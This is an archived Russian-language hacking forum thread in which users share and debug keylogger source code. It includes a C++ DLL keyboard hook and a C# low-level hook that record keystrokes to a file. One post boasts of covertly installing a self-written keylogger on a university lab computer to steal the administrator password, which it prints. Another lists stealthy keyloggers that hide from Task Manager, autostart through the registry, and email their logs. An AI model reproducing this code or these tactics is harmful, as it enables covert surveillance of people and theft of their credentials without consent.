ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

12.12.2007, 14:48
|
|
Новичок
Регистрация: 11.12.2007
Сообщений: 2
Провел на форуме: 4425
Репутация:
0
|
|
Привет товарищи вопрос такой написал простенький keylogger при вводе текста ловит только в своё окно а из других типа блокнота не ловит пробовал получать handle активного вданный момент окна и подключится к активному окну неполучилось Что я делаю не так? Помогите пожалуйта
HookProc и SetWindowsHookEx оформил в длл
код Длл:
Код:
#include "stdafx.h"
#include <windows.h>
#include "stdio.h"
#include "HOOK1.h"
#pragma data_seg(".SHAREDDATA")
//Глобальные данные
HHOOK SysHook;
HINSTANCE hInst;
FILE *stream;
int a=0;
int nCode;
WPARAM wParam;
LPARAM lParam;
TCHAR String[256000];
//HWND Wnd;
//DWORD dwThreadId;
//DWORD dwCUrrentId;
#pragma data_seg()
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hInst=(HINSTANCE)hModule;
return TRUE;
}//DllMain
LRESULT CALLBACK KeyProc(int nCode,
WPARAM wParam,// virtual-key code
LPARAM lParam)// keystroke-message information
{
if (lParam>0x8000 )
//if (nCode == HC_ACTION)
{
UINT uScanCode = MapVirtualKey(wParam,0);
BYTE KeyState[256];
WORD BufChar;
UINT uFlags=0;
/*dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
dwCUrrentId =GetCurrentThreadId();
if (dwThreadId != dwCUrrentId) {
AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
GetKeyboardState(KeyState);
if(ToAscii(wParam,uScanCode,KeyState,&BufChar,uFlags)==1)
{if (char(BufChar)==8)
{if(a==0) return 0;
else a--;return 0;}
if(a>250000)
MessageBox(NULL,String,"hehe",0);
stream = fopen( "SniFFCode", "w+t");
fprintf(stream,"%s\n",String);
fclose(stream);
String[a]=char(BufChar);
a++;
}//if
}
return 0;//CallNextHookEx(SysHook,nCode,wParam,lParam);;
}//KeyProc
DllExport void RunStopHook(bool State, HINSTANCE hInstance)
{
//DWORD dwThreadId;
//DWORD dwCUrrentId;
{
if (true){
/* dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
dwCUrrentId =GetCurrentThreadId();
if (dwThreadId == dwCUrrentId)
{MessageBeep(0xFFFFFFFF);}
else
AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
SysHook = SetWindowsHookEx(0,KeyProc, hInstance,0 );
//KeyProc(nCode,wParam,lParam);
if (SysHook == NULL)
UnhookWindowsHookEx(SysHook);
}else
UnhookWindowsHookEx(SysHook);
}
//AttachThreadInput(dwCUrrentId,dwThreadId,false);
//MessageBeep(0xFFFFFFFF);
}//RunStopHook
и приложения привожу код приложения:
HINSTANCE hModule;
// Cоздаю новый указатель на функцию
typedef void (RunStopHookProc)(bool, HINSTANCE);
RunStopHookProc* RunStopHook(NULL) ;
// Load the DLL file (Чтение DLL-библиотеки)
hModule = LoadLibrary("HOOK1.dll");
if(hModule!= NULL)
{
RunStopHook = (RunStopHookProc*)GetProcAddress(
(HMODULE) hModule, "RunStopHook");
}
if(RunStopHook != NULL)
{
(*RunStopHook)(true, hInstance);
}
else
{
FreeLibrary(hModule);
}
// Main message loop:
while (GetMessage(&msg,NULL, 0, 0))
{
(*RunStopHook)(true, hInstance);
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
(*RunStopHook)(false,hInstance);
FreeLibrary(hModule);
return (int) msg.wParam;
}
Последний раз редактировалось De-visible; 27.04.2008 в 19:47..
Причина: теги [code]
|
|
|

14.01.2008, 16:24
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
Провел на форуме: 3371897
Репутация:
1462
|
|
Кей Логгер на C# через Hook ...
гыгыгы
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
namespace JesSimpleKeyLogger
{
public partial class Form1 : Form
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
public Form1()
{
InitializeComponent();
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private const string path = @"c:\KeyLog.txt"; // использовать const не обязательно
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int keyCode = Marshal.ReadInt32(lParam);
string keyString = Convert.ToChar(vkCode).ToString();
using (StreamWriter sw = File.AppendText(path))
{
sw.Write(keyString); // Пишем в файл ...
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}
никаких наворотов , думаю , разобраться не составит труда ...
Я собрал код так, чтобы для его запуска достаточно его только скопировать(From1.cs);(ибо топ для новичков)
|
|
|

16.01.2008, 21:59
|
|
Новичок
Регистрация: 16.01.2008
Сообщений: 3
Провел на форуме: 7082
Репутация:
0
|
|
по поводу первого поста
Я хотел узнать вот первый кейлогер который выложили он у меня не работает , пишет ошибки постоянные , gold-goblin можеш выложить тот , что у тебя пошел ?
|
|
|
Помог самописный Кейлогер |

13.02.2008, 18:58
|
|
Познающий
Регистрация: 31.08.2007
Сообщений: 94
Провел на форуме: 422909
Репутация:
200
|
|
Помог самописный Кейлогер
Полторы недели назад начался новый семестр. Как ни странно я уже ждал этого момента, так как у нас постоянно что-то колотили в универе, прокладывали какие-то кабеля. Прошел слух что у нас собираются проводить сеть, причем интернет теперь сделают халявним для учащихся, но правда с невысокой скоростью. Потирая ладони я почувствовал, что вот оно-счастье! И что вы думаете? Да...бесплатный сыр только в мышеловке бывает...Мало того что не появилось этого халявного инета, дак еще и доступы везде поограничевали. Вот вам по 200 мб на каждом компе и как хотите! Конечно же доступ у админов был полным. Такая идея мне очень не понравилась, я решил во что бы то не стало получить доступ к адинистратору. Первое что я попробовал - это конечно же стащить SAM но вот облом - системник весь в пломбах и на биосе пароль!  Дам..ну да ладно. Увлекшись этой мыслю, стал перебирать в голове различные варианты, и....А что если старым добрым способом: кейлоггинг? Благо в инете много всяких кейллогов...Придя домой сразу же в инет искать? И вот когда у меня собралось с десяток, стал тестить...Не знаю почему но меня ни один не устроил - почти каждый второй клиент-серверный (оно и понятно), а некоторые вообще только английские клавиши ловят. Короче не то это все и вот взяв один исходничек было решено его подогнать, что называется под себя! И вот парочка деньков и кейллог готов  Так как в нашей лаборатории сидят в основном то нубы, я зашел туда и сказал: Можно я скину себе последнюю версию Fox'a (они у них полулицензионные=))? - Да пожалуйста. Далее думаю комментария излишни...И тут бац звонок на пару - Ой я потом у Вас докопирую приду позже...
Гы...прихожу через два дня  Скинул как и обещал. И как Вы думаете?-Получилось!!!!!!!!!!Кейллог, который был настроен у меня определенное окошко, благополучно записал логин и пароль, которые в последствии были проверены и подошли: administrator: h2urra4!. Поэтому выкладываю сюда свое произведение, может кому тоже понравится  В оставшееся время, написал для него формочку, если не охото копаться в исходниках (прилагаются к кейллогеру). Забавно, но сперва напоминает Pinch. Поэтому назвал Vinchi  Работает только локально, и никакого вреда для машины не наносит (разве, что записи в реестре:d). Если будут отзывы, можно будет доработать. Кстати весит - 12 кб 
Язык - Delphi
Скачать (~700 кб)
P.S С сердечком, потому что завтра 14 февраля 
Последний раз редактировалось A2GIL; 13.02.2008 в 19:05..
|
|
|

27.04.2008, 19:44
|
|
Участник форума
Регистрация: 27.11.2007
Сообщений: 174
Провел на форуме: 485129
Репутация:
69
|
|
Начинаю собирать и находит 2 ошибки. using System.Linq; и HookCallback собирaю в visual studio 2005
Последний раз редактировалось ozs; 27.04.2008 в 20:32..
|
|
|

07.05.2008, 15:08
|
|
Новичок
Регистрация: 25.02.2008
Сообщений: 16
Провел на форуме: 60781
Репутация:
2
|
|
А Сорцы билдера почему не выложил ? есть ошибки,что-то забыл добавить..или удалил лишнее.. 
|
|
|

07.05.2008, 16:30
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 68
Провел на форуме: 140772
Репутация:
72
|
|
Все там работает, включаем мозги!!!
|
|
|

03.08.2008, 22:07
|
|
Познающий
Регистрация: 02.08.2008
Сообщений: 55
Провел на форуме: 363117
Репутация:
30
|
|
У меня вопрос. Можно ли весь код Кейлогера(используюя хуки) на Си или на Асм запихнуть в Dll. Чтоб Dll была полностью самостоятельна. С толкнулся с проблемой, когда приложение ставит хук, а функция для отлова клавиш находится в DLL то все работает хорошо. Но когда Dll сама ставит хук, то не фига не работает и ошибок нет. В чем прикол?
|
|
|

04.08.2008, 16:06
|
|
Познающий
Регистрация: 04.07.2008
Сообщений: 56
Провел на форуме: 390892
Репутация:
60
|
|
+ к коллекции:
===============================
Название: Kbd sniffer 1.2
Автор: Del
Язык: C++
Компилятор: Borland C++ Builder 5
Описание: Прога для наблюдения за глупыми юзерами  Записывает в файлик всё, что нажимали на клаве.
Для работы сниффера нужно 2 файла: winsock.exe (сниффер) и hook.dll
Что бы он начал свою работу просто запустите его.
Прога не имеет окна и скрываеться от 3-х педалей, так что сходу её в Виндах не найдёшь. Но при желании конечно найти можно 
При старте сниффер скрывает себя от Ctrl-Alt-Del, прописывает автостарт в реестре HKCR\Sostware\Microsoft\Windows\Current Version\Run - winsock и начинает запись всех нажатых клавишь в C:\Windows\System\gdi32.snf
Если папка винды не C:\Windows, а другая, не переживайте - сниффер всё равно её найдёт и запишет лог клавы куда надо.
Если надо писать в другое место (например диск C:\ не разшарен) укажите путь к лог файлу в коммандной строке сниффера.
Например: winsocket.exe D:\Vasya\klav_log.txt
Для того чтобы удалить запись о автозапуске сниффера из реестра, достаточно запустить unistall.exe (идёт в одном архиве со сниферром).
Прога написана на C++Builder 5.0 с использованием средств WindowsAPI. Тестировалась в win98se и WinME. Глюков не создавала.
Вместе со сниффером поставляеться конвертер его логов. Он выкидывает из логов всё кроме самого текста. Пароли, конечно, так не узнаешь, а просто читать гораздо приятнее
[Скачать]
===============================
Название: KidLogger
Автор: Teslain
Язык: C++
Компилятор: VisualC++ 6.0
Описание: Teslain Kid logger (v. 1.0 with source code). Log your kid activity on the computer.
Designed for Home users to keep watch on kids (2-7 years) activity.
This programm to not containt spyware/adware modules. This is simple key logger that do not protect himself from being deleted by user.
[Скачать]
===============================
Название: keyhook
Автор: ?
Язык: С++
Компилятор: Visual Studio
Описание:
+Простой кейлог с названием окна и нажатых клавиш.
+Копирует себя в директорию с WindowsMediaPlayer(Сам придумал для беспаливности)
+Загружаеться через userinit
+Шлет лог каждые n байт в сорце поставил 1100(отправка smtp на сокетах,к сожалению без фильтрации ошибок)
Написан на С++ чистом ВинАпи.
[Скачать]
===============================
Название: SpySystem
Автор: ?
Язык: C++
Компилятор: VisualC++ 6.0
Описание: Программа ведет два лог файла:
1-й кейлог(пишет все нажатия клавиш)
2-й буфферлог(пишет лог всякий раз,когда в буфере обмена появляется текст)
При запуске прописывается в автозапуск!
висит в трее.
О настройках:
SpySystem.ini
PathBuf-прописать полный путь до папки куда хотим вести лог буффера обмена.
PathKey-прописать полный путь до папки куда хотим вести лог кейлогера.
[Скачать]
===============================
Последний раз редактировалось SlyBit; 04.08.2008 в 16:11..
|
|
|

28.09.2008, 22:56
|
|
Участник форума
Регистрация: 03.09.2008
Сообщений: 155
Провел на форуме: 1201665
Репутация:
236
|
|
Может кто-нибудь выложить готовый простенький кейлоггер, который бы писал всё в .txt рядом, автозапуск можно и самому прописать... заранее спасибо
Последний раз редактировалось Scripter; 28.09.2008 в 22:59..
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Клавиатурный шпион
|
|
Болталка |
12 |
15.09.2008 16:29 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|